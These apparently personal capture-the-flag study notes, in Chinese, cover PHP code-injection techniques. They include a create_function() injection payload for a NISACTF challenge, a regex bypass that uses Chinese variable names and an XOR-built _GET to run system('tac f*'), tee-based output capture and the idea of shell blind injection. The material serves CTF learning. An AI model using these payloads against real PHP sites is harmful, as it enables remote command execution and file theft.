return可直接执行十六进制
RT,如果放在return后面的语句是十六进制,就会先转换成可执行命令(maybe)
函数可运算
比如1-phpinfo()-1
这种语法其实是允许的,返回的内容因为函数本身返回值是1,所以结果是-1。并且phpinfo()可被执行
create_function()创建匿名函数
流程如下
但是可能看起来比较不好懂,再来看下面这个
create_function()会创建一个匿名函数(lambda样式)
create_function()函数会在内部执行 eval(),我们发现是执行了后面的return语句,属于create_function()中的第二个参数string $code位置。
因此create_function函数等价于
<?php
function lambda1($a,$b){
return "ln($a) + ln($b) = " . log($a * $b);
}
?>
下面来看一个例子([NISACTF 2022]level-up)
<?php
error_reporting(0);
include "str.php";
$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[a-z0-9_]*$/isD',$a)){
show_source(__FILE__);
}
else{
$a('',$b);
}
构造payload的时候,注意正则匹配preg_match('/^[a-z0-9_]*$/isD',$a
,说明我们在构造payload的时候第一个字母不能为数字或者字母,所以我们需要绕过正则,这里要用\(转义符
绕过,构造payload:
?a=\create_function&b=return 'Leaf';}phpinfo();/*
解释一下上面的payload:
\的作用是绕过正则匹配preg_match,第一个;是让return 语句结束(其实也可以不用谢这句return,直接写后面的花括号),}的作用是让create_function语句闭合,然后执行phpinfo();后面要加/*是为了让最后的}被注释掉来保证phpinfo()正常执行
中文变量名
对于下面这样的过滤如果束手无策
if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code))
就可以考虑用中文名来命名变量。(可能你会觉得这很不可思议,但在php里确实是允许的)
payload如下
$哈="{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*
其中,"{{{"^"?<>/";
的结果是_GET
tee
这个命令类似echo ... >
,可以把...
的内容写入到对应文本中。一般是配合管道使用,例如ls / |tee 1
,作用就是把ls列出来的内容存入到1这个文件里。如果在进行网站敏感信息读取,访问1就能下载这个文件
php的类函数调用
php的类使用其实类似C++,比如ctf类中有个getflag函数,配合 call_user_func()或者eval()可以直接用
shell盲注
和SQL盲注类似,[awk](https://www.runoob.com/linux/linux-comm-awk.html)
命令可以截取字符串,[cut](https://www.runoob.com/linux/linux-comm-cut.html)
命令可以截取单个字符输出。结合shell编程里的if和sleep等命令就能判断正误。例如下面这样